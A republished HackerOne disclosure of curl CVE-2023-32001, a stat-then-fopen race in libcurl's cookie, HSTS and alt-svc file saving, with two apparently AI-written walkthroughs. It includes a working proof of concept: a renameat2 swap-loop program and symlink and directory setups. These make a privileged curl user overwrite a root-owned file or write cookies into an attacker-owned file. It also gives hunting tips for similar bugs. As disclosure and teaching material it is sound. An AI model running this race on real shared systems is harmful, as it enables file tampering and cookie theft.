Skip to content
Race condition Disclosed report Advanced CVE-2023-32001

[curl] CVE-2023-32001: fopen race condition

libcurl's cookie, HSTS and alt-svc file saving used stat() followed by fopen(), creating a time-of-check to time-of-use race. An attacker could swap a symlink and a directory to make a privileged user overwrite protected files or leak sensitive cookies to an attacker-controlled file.

selmelc Follow

Originally disclosed on HackerOne

Bounty$2,480 Medium View original
  • Triaged in 13 hours
  • Fixed in 6 days
  • Paid in 6 days
  • Disclosed after 6 days

Summary by the program

CVE-2023-32001 - fopen race condition VULNERABILITY libcurl can be told to save cookie, HSTS and/or alt-svc data to files. When doing this, it called stat() followed by fopen() in a way that made it vulnerable to a TOCTOU race condition problem.

By exploiting this flaw, an attacker could trick the victim to create or overwrite protected files holding this data in ways it was not intended to.

AFFECTED VERSIONS Affected versions: libcurl 7.84.0 to and including 8.1.2 Not affected versions: libcurl < 7.84.0 and >= 8.2.0 Introduced-in: https://github.com/curl/curl/commit/20f9dd6bae50b722 libcurl is used by many applications, but not always advertised as such!

SOLUTION Fixed-in: https://github.com/curl/curl/commit/0c667188e0c6cda615a0

CREDITS Reported-by: selmelc on hackerone Patched-by: selmelc on hackerone

Full Security Advisory: https://curl.se/docs/CVE-2023-32001.html

The report

Hello, I'm reporting for CVE-2023-32001 on curl which was resolved in last Wednesday's curl release.

Vulnerability explanation:

As we can see in the following curl code (line 59-61 https://github.com/curl/curl/blob/fb802b521af997230b65174a559f5c419520e142/lib/fopen.c ):

C
  if(stat(filename, &sb) == -1 || !S_ISREG(sb.st_mode)) {
    /* a non-regular file, fallback to direct fopen() */
    *fh = fopen(filename, FOPEN_WRITETEXT);
...
}
...

There is a race condition between the moment "stat(filename, &sb)" is executed and the moment " fopen(filename, FOPEN_WRITETEXT);" is executed. This leads to undesirable behavior such as an attacker tricking a privileged user to overwrite protected files, or since this function (Curl_fopen) is also used for storing cookies an attacker could trick another user to send those cookies that might be very sensible to a file fully owned and controlled by the attacker.

###POC/Steps to reproduce: Before we start, I will be using a little program called "rename". Which simply swaps atomically the names of two files to be able to showcase this race condition. Here is its code :

#include <strings.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>

// source https://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c
int main(int argc, char *argv[]) {
  while (1) {
    syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
  }
  return 0;
}

Open two terminals, with two different users. One will be the attacker terminal and the other the victim. In both POCs, the victim will want to execute a command such as "curl --cookie-jar a google.com" thinking the file "a" doesn't exist.

###A) Exploiting this vulnerability to trick a user to overwrite a file they own:

Assume the current directory of both attacker(selmelc) and victim (root) looks like this

Shell
lrwxrwxrwx 1 selmelc selmelc     4 Jun 27 07:11 a -> flag
drwxrwxrwx 2 selmelc selmelc  4096 Jun 27 07:11 b
-rw-r--r-- 1 root    root        6 Jun 27 07:05 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename

The attacker executes ./rename a b, which will not stop to swap the name of the directory "b" and the symlink "a".

The victim executes their command "curl --cookie-jar a google.com". The race condition is successfully exploited if in the vulnerable code the stat identifies the file "a" as a directory and then the "fopen" opens the symlink that points to the file "flag". If that happened then the results looks like this :

...
-rw-r--r-- 1 root    root      131 Jun 27 07:13 flag
...
root@deb:/home/selmelc/Documents# cat flag
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.

Additional note: You might think "well that's just how symlinks work"... To clarify on that, by default if the victim was executing "curl --cookie-jar a google.com" without the attacker exploiting the vuln. a different behavior would occur ; the file "a" would be erased (no more symlink) and overwritten as a regular file containing the cookie data. This happens because the stat function follows symbolic links therefore in that scenario we would not enter the vulnerable condition which leads to the race condition.

###B) Exploiting this vulnerability to steal the victim's cookies and hide it from them:

As this uses the same logic as the previous exploit for this vuln. Repeat same steps except this time we want the "flag" file to be owned by the attacker as following:

lrwxrwxrwx 1 selmelc selmelc     4 Jun 27 08:42 a -> flag
drwxrwxrwx 2 selmelc selmelc  4096 Jun 27 08:41 b
-rw--w--w- 1 selmelc selmelc     0 Jun 27 08:41 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename

Normal curl behavior after the victim executed "curl --cookie-jar a google.com" :

-rw------- 1 root    root      131 Jun 27 08:49 a
drwxrwxrwx 2 selmelc selmelc  4096 Jun 27 08:41 b
-rw--w--w- 1 selmelc selmelc     0 Jun 27 08:41 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename

Behaviour when vulnerability is exploited (and race condition met) :

drwxrwxrwx 2 selmelc selmelc  4096 Jun 27 08:41 a
lrwxrwxrwx 1 selmelc selmelc     4 Jun 27 08:50 b -> flag
-rw--w--w- 1 selmelc selmelc   131 Jun 27 08:51 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename

We can notice the 131 bytes of output in flag now, which would contain the sensitive cookies.

Conclusion

An attacker is able to overwrite files they shouldn't have access to, however the attacker does not control the data sent to those files. (Integrity, potentially availability issues if files likes /etc/passwd are modified through this). An attacker may also gain access to sensitive data (cookies), and even hide that information from the intended receiver as the attacker may control the file in which this information will be leaked. Note : cookie storing was used to demonstrate exploits for the vulnerability but the vulnerability also affects HSTS and alt-svc cache.

Impact

This race condition modifies the behavior of symbolic link files in affected components, they might be followed instead of being overwritten when the condition is met leading to undesired and potentially destructive behavior.

The original report as published on HackerOne, by selmelc. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

libcurl can be told to persist state to disk: cookie jars, the HSTS cache and the alt-svc cache are all written to files. The function that opens those files for writing is Curl_fopen, and the report concerns a time-of-check to time-of-use (TOCTOU) race in it. The affected code lives in lib/fopen.c in the curl repository, and the flaw was assigned CVE-2023-32001.

The program summary states the affected range as libcurl 7.84.0 up to and including 8.1.2, with libcurl < 7.84.0 and >= 8.2.0 not affected. The introducing commit is given as 20f9dd6bae50b722 and the fix as 0c667188e0c6cda615a0. The full advisory is at https://curl.se/docs/CVE-2023-32001.html. The report was filed on HackerOne under the Internet Bug Bounty program against https://github.com/curl/curl, rated medium severity, and paid a bounty of 2480.00 USD. It was disclosed on 2023-07-27, and the researcher is credited both as reporter and as the person who patched it.

Setup

The demonstration needs two terminals running as two different users: one is the attacker, the other the victim. In the report the attacker is selmelc and the victim is root. Both work in the same directory, which in the listing is world-writable.

The attacker uses a small helper program called rename, which atomically swaps the names of two files in a loop so the race can be hit reliably. Its source, as given in the report, is:

C
#include <strings.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>

// source https://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c
int main(int argc, char *argv[]) {
  while (1) {
    syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
  }
  return 0;
}

The loop calls renameat2 with RENAME_EXCHANGE, which swaps the two names atomically. Run as ./rename a b, it continuously exchanges the names a and b.

In both scenarios the victim intends to run a command such as curl --cookie-jar a google.com, believing that the file a does not exist yet.

Finding it

The researcher points at lines 59 to 61 of lib/fopen.c at commit [redacted]:

C
  if(stat(filename, &sb) == -1 || !S_ISREG(sb.st_mode)) {
    /* a non-regular file, fallback to direct fopen() */
    *fh = fopen(filename, FOPEN_WRITETEXT);
...
}
...

The check and the use are two separate operations on the same path. Between the moment stat(filename, &sb) runs and the moment fopen(filename, FOPEN_WRITETEXT) runs, the name can be made to refer to something else. That is the race. The consequence the researcher describes is that an attacker can trick a privileged user into overwriting protected files, or, because Curl_fopen is also used to store cookies, trick another user into writing sensitive cookies into a file the attacker fully owns and controls.

Exploitation

Step 1: prepare the directory (overwrite scenario)

The attacker and the victim share a working directory. Before the attack it looks like this:

Shell
lrwxrwxrwx 1 selmelc selmelc     4 Jun 27 07:11 a -> flag
drwxrwxrwx 2 selmelc selmelc  4096 Jun 27 07:11 b
-rw-r--r-- 1 root    root        6 Jun 27 07:05 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename

a is a symlink owned by the attacker pointing at flag, which is owned by root. b is a directory the attacker owns. rename is the helper binary.

Step 2: start the race

The attacker runs:

Bash
./rename a b

This never stops swapping the name of the directory b and the symlink a. From the victim's point of view, the path a alternates between a directory and a symlink to flag.

Step 3: the victim writes the cookie jar

The victim runs:

Bash
curl --cookie-jar a google.com

The race is won if, inside the vulnerable code, stat identifies a as a directory and then fopen opens the symlink that points to flag. The result is that root's flag file is overwritten with the cookie data:

Text
...
-rw-r--r-- 1 root    root      131 Jun 27 07:13 flag
...

Reading it back confirms the contents:

Bash
root@deb:/home/selmelc/Documents# cat flag
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.

The researcher adds a clarification about symlink behaviour. Without the race, running curl --cookie-jar a google.com would simply erase a (the symlink is gone) and overwrite it as a regular file holding the cookie data. That is because stat follows symbolic links, so in the normal case the vulnerable condition is not entered and no race exists.

Step 4: prepare the directory (cookie theft scenario)

The second exploit uses the same logic. The steps are repeated, but this time the flag file is owned by the attacker:

Text
lrwxrwxrwx 1 selmelc selmelc     4 Jun 27 08:42 a -> flag
drwxrwxrwx 2 selmelc selmelc  4096 Jun 27 08:41 b
-rw--w--w- 1 selmelc selmelc     0 Jun 27 08:41 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename

Step 5: compare normal and exploited behaviour

Normal curl behaviour after the victim runs curl --cookie-jar a google.com is that a becomes a regular root-owned file with the cookie data, and flag is untouched:

Text
-rw------- 1 root    root      131 Jun 27 08:49 a
drwxrwxrwx 2 selmelc selmelc  4096 Jun 27 08:41 b
-rw--w--w- 1 selmelc selmelc     0 Jun 27 08:41 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename

When the race is met, the names have been exchanged and the cookie data lands in the attacker's flag:

Text
drwxrwxrwx 2 selmelc selmelc  4096 Jun 27 08:41 a
lrwxrwxrwx 1 selmelc selmelc     4 Jun 27 08:50 b -> flag
-rw--w--w- 1 selmelc selmelc   131 Jun 27 08:51 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename

The 131 bytes now in flag are the sensitive cookies. Because the attacker owns that file, the attacker may also hide the leak from the intended receiver.

Root cause

Curl_fopen performs a check (stat, plus S_ISREG) and then a separate fopen on the same path. The check and the open are separate operations on the same path, so the name can change between them. The attacker only has to change what the path resolves to in the window between them, which renameat2 with RENAME_EXCHANGE does atomically and in a tight loop.

The subtlety is that the vulnerable branch is only reached for non-regular files. stat follows symlinks, so a plain symlink to a regular file is seen as regular and the code takes the safe path, replacing the link. The race is what lets stat see a directory and fopen then open the symlink.

Impact

An attacker can overwrite files they should not have access to, but does not control the data written into them. The report frames this as an integrity issue, with potential availability impact if files such as /etc/passwd are modified this way. An attacker can also gain access to sensitive data such as cookies, and can hide that leak from the intended receiver because the attacker controls the file the data ends up in. Cookie storage was used for the demonstration, but the same flaw affects the HSTS and alt-svc caches.

The report's own summary of the impact is that the race modifies the behaviour of symbolic links in the affected components: they may be followed instead of overwritten when the condition is met, leading to undesired and potentially destructive behaviour.

Fix

The fix is commit 0c667188e0c6cda615a0, credited to selmelc. The report does not describe the code change itself.

Variants to test

  1. Other curl outputs that go through Curl_fopen: point --hsts or --alt-svc at a path in a shared directory and run the same swap loop. A positive result is the victim's data appearing in a file the attacker owns, or a protected file being overwritten.
  2. Any application that calls stat and then fopen on a user-influenced path. A positive result is the opened object differing from the checked one when the name is swapped between the calls.
  3. Check-then-open patterns that only reject non-regular files. A positive result is a directory at check time and a symlink at open time, as in this report.

Hunting notes

This kind of bug hides in code that validates a path and then opens it in a second call, especially where the validation exists to reject non-regular files. During recon, look for features that write state to a path the user supplies: cookie jars, caches, logs, download targets. The signal is a stat (or similar) followed by an fopen on the same string with no handle carried between them.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

What happened, in plain words

A security researcher found a flaw in curl, a very widely used piece of software that fetches things from the internet. Many programs use curl behind the scenes, even when you never see its name, so a bug in it can reach a lot of places.

curl can be told to save some of its working data to files on disk: the cookies it received, a cache of HSTS settings, and a cache of alt-svc settings. When curl opens one of those files to write to it, it first checks what kind of thing is at that path, and then, a moment later, it opens the path. Those are two separate steps. If someone can change what the path points to in the tiny gap between the two steps, curl can end up writing to a file it never meant to touch.

This kind of bug has a name: a time-of-check to time-of-use problem, or TOCTOU. You check something, and by the time you use it, it is no longer the thing you checked. The flaw was given the identifier CVE-2023-32001. A CVE is a public catalogue number for a known security bug, so people around the world can refer to the same issue unambiguously.

The report was filed on HackerOne, a platform where researchers report bugs to companies, under a programme called the Internet Bug Bounty. It was rated medium severity, paid a bounty of 2480.00 USD, and was disclosed on 2023-07-27. The researcher, selmelc, is credited both for reporting it and for writing the patch that fixed it.

The pieces you need to understand first

Before the steps make sense, here are the ideas the report relies on, explained from scratch.

What curl and libcurl are

curl is a command-line program: you type a command, it talks to a server over the network and shows you the answer. libcurl is the same engine packaged as a library, so other programs can use it without running the curl program. When the report says libcurl, it means the shared engine; when it says curl, it means the command you type.

What a cookie is

A cookie is a small piece of text a website asks your browser to keep and send back on later requests. It is how a site remembers that you are logged in. If someone else gets your cookies, they can often act as you on that site, which is why cookies are sensitive.

What a cookie jar is

curl has an option, --cookie-jar, that tells it to save the cookies it received into a file when it finishes. That file is called a cookie jar. It is a plain text file with a header explaining where it came from. Saving cookies to disk is useful for scripts that need to stay logged in between runs, but it means sensitive data is being written to a path you choose.

What HSTS and alt-svc caches are

HSTS is a rule a website can set telling browsers and clients to always use a secure connection to it. alt-svc is a way for a site to advertise an alternative place to connect. curl can remember both of these in cache files so it does not have to relearn them every time. They are also written to disk, through the same code path as the cookie jar.

What a symlink is

A symlink (symbolic link) is a file that is really just a signpost: it holds a path to another file. Opening the symlink opens the file it points to. Think of a shortcut on your desktop: the shortcut is not the program, it just points at it.

What a race condition is

A race condition is a bug where the result depends on the exact timing of two things happening at once. If one thing always finished before the other, everything would be fine; because they can interleave, something unexpected can happen. A classic everyday comparison: you check that a parking space is free, then drive towards it, and in the moment between checking and arriving someone else takes it.

What stat and fopen do

stat is a system call that asks the operating system: what is at this path, and what kind of thing is it? It returns details such as whether the path is a regular file, a directory, or a symlink. fopen is the call that actually opens a file for reading or writing. The bug is that curl calls stat and then, separately, fopen, on the same path.

What a TOCTOU race means here

Because the check and the open are separate, the path can be changed in between. The attacker arranges for the path to look like one kind of thing when stat runs, and a different thing when fopen runs. curl then opens something it never checked.

What the affected code looks like

The researcher points at lines 59 to 61 of the file lib/fopen.c in the curl source code, at a specific commit:

C
  if(stat(filename, &sb) == -1 || !S_ISREG(sb.st_mode)) {
    /* a non-regular file, fallback to direct fopen() */
    *fh = fopen(filename, FOPEN_WRITETEXT);
...
}
...

Line by line, in plain words:

  • if(stat(filename, &sb) == -1 || !S_ISREG(sb.st_mode)) { asks the operating system about the path in filename, storing the answer in sb. If the call failed (== -1), or if the thing found is not a regular file (!S_ISREG(...)), the code goes into this branch. A regular file is an ordinary file of data, as opposed to a directory or a device.
  • The comment says that for a non-regular file, the code falls back to opening it directly.
  • *fh = fopen(filename, FOPEN_WRITETEXT); opens the path for writing text and stores the handle. This is the second, separate look at the same path.
  • The closing braces end the block.

The important detail is that nothing ties the stat and the fopen together. The name is looked up twice, and between the two lookups it can be made to mean something else.

What the consequences are, in the researcher's words

The report describes two outcomes. An attacker can trick a privileged user into overwriting protected files. Or, because the same function is used to store cookies, an attacker can trick another user into writing sensitive cookies into a file the attacker fully owns and controls.

Setting up the demonstration

The demonstration needs two terminals, each running as a different user. One is the attacker, the other is the victim. In the report the attacker is selmelc and the victim is root. Both work in the same directory, and the attacker is able to write into it.

The attacker uses a small helper program called rename. Its job is to swap the names of two files over and over to showcase the race condition. Its source, as given in the report, is:

C
#include <strings.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>

// source https://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c
int main(int argc, char *argv[]) {
  while (1) {
    syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
  }
  return 0;
}

Line by line:

  • The #include lines pull in standard headers: string helpers, memory allocation, file and directory types, file control, input/output, system calls, and Linux-specific file system definitions. They are plumbing so the program can call the functions it needs.
  • #define _GNU_SOURCE turns on extra Linux features that are not part of the strict standard, which is needed for the rename call used here.
  • The comment credits where the helper came from.
  • int main(int argc, char *argv[]) { is the entry point. argv[1] and argv[2] are the two paths given on the command line.
  • while (1) { loops forever, so the swapping never stops while the attack runs.
  • syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE); asks the kernel to rename. AT_FDCWD means "relative to the current directory". RENAME_EXCHANGE is the key part: the two names are exchanged, and the exchange happens atomically.
  • return 0; is never reached because of the infinite loop.

Run as ./rename a b, this program continuously exchanges the names a and b. From the outside, the path a keeps flipping between two different things.

In both scenarios below, the victim intends to run a command such as curl --cookie-jar a google.com, believing that the file a does not exist yet. That belief is what the attacker exploits.

Exploitation, step by step

Step 1: prepare the directory for the overwrite scenario

Before the attack, the shared directory looks like this:

Shell
lrwxrwxrwx 1 selmelc selmelc     4 Jun 27 07:11 a -> flag
drwxrwxrwx 2 selmelc selmelc  4096 Jun 27 07:11 b
-rw-r--r-- 1 root    root        6 Jun 27 07:05 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename

Reading the listing:

  • a -> flag is a symlink owned by the attacker, pointing at flag. The l at the start of the permissions marks it as a link.
  • b is a directory owned by the attacker, marked by the d at the start.
  • flag is a regular file owned by root. This is the protected file the attacker wants to reach.
  • rename is the helper program built earlier.

The attacker sets this up so that the two names being swapped are a directory and a symlink to the protected file. That is the whole trick: whichever name the victim's path resolves to at the wrong moment decides where the data goes.

Step 2: start the race

The attacker runs:

Bash
./rename a b

This never stops swapping the name of the directory b and the symlink a. From the victim's point of view, the path a alternates between a directory and a symlink to flag.

Step 3: the victim writes the cookie jar

The victim runs:

Bash
curl --cookie-jar a google.com

This tells curl to fetch google.com and save the cookies it receives into the file a. The victim believes a does not exist.

The race is won if, inside the vulnerable code, stat sees a as a directory, so the non-regular-file branch is taken, and then fopen opens the symlink that now points at flag. In other words, the check looked at a directory, and the open acted on a link to root's file.

The result is that root's flag file is overwritten with the cookie data:

Text
...
-rw-r--r-- 1 root    root      131 Jun 27 07:13 flag
...

The listing shows flag now has 131 bytes and is still owned by root. Reading it back confirms what landed inside:

Bash
root@deb:/home/selmelc/Documents# cat flag
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.

cat prints a file's contents. The output is the standard header curl writes at the top of a cookie jar.

The researcher adds a clarification that matters for understanding why this is a bug and not just how symlinks work. Without the race, running curl --cookie-jar a google.com would simply erase a, so the symlink would be gone, and overwrite it as a regular file holding the cookie data. That happens because stat follows symbolic links: it looks through the link and reports the file at the other end. In that normal case the vulnerable condition is not entered, so there is no race and no unexpected target.

Step 4: prepare the directory for the cookie theft scenario

The second exploit uses the same logic. The steps are repeated, but this time the flag file is owned by the attacker:

Text
lrwxrwxrwx 1 selmelc selmelc     4 Jun 27 08:42 a -> flag
drwxrwxrwx 2 selmelc selmelc  4096 Jun 27 08:41 b
-rw--w--w- 1 selmelc selmelc     0 Jun 27 08:41 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename

Here flag is empty and owned by the attacker, and the permissions -rw--w--w- let the attacker write to it. Here the attacker wants the victim's sensitive cookies written into a file the attacker owns.

Step 5: compare normal and exploited behaviour

Normal curl behaviour after the victim runs curl --cookie-jar a google.com is that a becomes a regular root-owned file with the cookie data, and flag is untouched:

Text
-rw------- 1 root    root      131 Jun 27 08:49 a
drwxrwxrwx 2 selmelc selmelc  4096 Jun 27 08:41 b
-rw--w--w- 1 selmelc selmelc     0 Jun 27 08:41 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename

In this listing, a is now a regular file owned by root with 131 bytes, and flag is still empty.

When the race is met, the names have been exchanged and the cookie data lands in the attacker's flag:

Text
drwxrwxrwx 2 selmelc selmelc  4096 Jun 27 08:41 a
lrwxrwxrwx 1 selmelc selmelc     4 Jun 27 08:50 b -> flag
-rw--w--w- 1 selmelc selmelc   131 Jun 27 08:51 flag
-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename

Now a is a directory, b is a symlink to flag, and flag holds 131 bytes. The 131 bytes now in flag are the sensitive cookies. Because the attacker owns that file, the attacker may also hide the leak from the intended receiver.

Why the bug exists

Curl_fopen performs a check, using stat plus S_ISREG, and then a separate fopen on the same path. The check and the open are separate operations on the same path, so the name can change between them. The attacker only has to change what the path resolves to in the window between them, which renameat2 with RENAME_EXCHANGE does atomically and in a tight loop.

The subtlety is that the vulnerable branch is only reached for non-regular files. stat follows symlinks, so a plain symlink to a regular file is seen as regular and the code takes the safe path, replacing the link. The race is what lets stat see a directory and fopen then open the symlink.

What the impact is

An attacker can overwrite files they should not have access to, but does not control the data written into them. The report frames this as an integrity issue, with potential availability impact if files such as /etc/passwd are modified this way. /etc/passwd is a system file that lists user accounts.

An attacker can also gain access to sensitive data such as cookies, and can hide that leak from the intended receiver because the attacker controls the file the data ends up in. Cookie storage was used for the demonstration, but the same flaw affects the HSTS and alt-svc caches.

The report's own summary of the impact is that the race modifies the behaviour of symbolic links in the affected components: they may be followed instead of overwritten when the condition is met, leading to undesired and potentially destructive behaviour.

Which versions were affected

The program summary states the affected range as libcurl 7.84.0 up to and including 8.1.2. libcurl versions below 7.84.0 and from 8.2.0 onwards are not affected. The change that introduced the flaw is commit 20f9dd6bae50b722, and the fix is commit 0c667188e0c6cda615a0. The full advisory is at https://curl.se/docs/CVE-2023-32001.html.

The fix

The fix is commit 0c667188e0c6cda615a0, credited to selmelc. The report does not describe the code change itself.

Other places to look for the same pattern

  1. Other curl outputs that go through Curl_fopen: point --hsts or --alt-svc at a path in a shared directory and run the same swap loop. A positive result is the victim's data appearing in a file the attacker owns, or a protected file being overwritten.
  2. Any application that calls stat and then fopen on a user-influenced path. A positive result is the opened object differing from the checked one when the name is swapped between the calls.
  3. Check-then-open patterns that only reject non-regular files. A positive result is a directory at check time and a symlink at open time, as in this report.

How to hunt for this kind of bug

This kind of bug hides in code that validates a path and then opens it in a second call, especially where the validation exists to reject non-regular files. During recon, look for features that write state to a path the user supplies: cookie jars, caches, logs, download targets. The signal is a stat (or similar) followed by an fopen on the same string with no handle carried between them.

Glossary

  • alt-svc: a way for a website to advertise an alternative place to connect to; curl can cache this information in a file.
  • Atomic: an operation that happens all at once and cannot be observed half-finished.
  • Availability: whether a system keeps working and stays reachable; damage to system files can affect it.
  • Bounty: a payment made to a researcher for reporting a valid security bug.
  • Cookie: a small piece of text a website asks a client to store and send back, often used to keep you logged in.
  • Cookie jar: the file curl writes cookies into when told to save them.
  • Curl: a command-line program that fetches data over the network.
  • CVE: a public catalogue number for a known security vulnerability.
  • CVE-2023-32001: the identifier for the bug described in this report.
  • Directory: a container in a file system that holds files and other directories.
  • Disclosure: the point at which details of a bug are made public.
  • fopen: the system call that opens a file for reading or writing.
  • HackerOne: a platform where security researchers report bugs to organisations.
  • HSTS: a rule a website can set telling clients to always use a secure connection to it; curl can cache this in a file.
  • Integrity: whether data is what it is supposed to be, unmodified by anyone unauthorised.
  • libcurl: the library form of curl, used by other programs.
  • Medium severity: a rating level for a bug, between low and high.
  • Race condition: a bug where the outcome depends on the exact timing of two operations.
  • Regular file: an ordinary file of data, as opposed to a directory or a device.
  • renameat2: a Linux system call for renaming files, with options such as exchanging two names.
  • RENAME_EXCHANGE: the option that makes renameat2 swap two names instead of replacing one with the other.
  • Root: the most privileged user account on a Unix-like system.
  • stat: the system call that reports what is at a path and what kind of thing it is.
  • S_ISREG: a check that asks whether the thing stat found is a regular file.
  • Symlink (symbolic link): a file that points at another path, like a shortcut.
  • Terminal: a text window where you type commands.
  • Time-of-check to time-of-use (TOCTOU): a bug where something is checked, then used later, and can change in between.
  • User: an account on a computer, with its own permissions.
  • Vulnerability: a weakness in software that can be misused to cause harm.

More by selmelc

View all

4 more disclosed reports, best first.

More from Internet Bug Bounty

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Race conditions

The lesson behind this report.

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.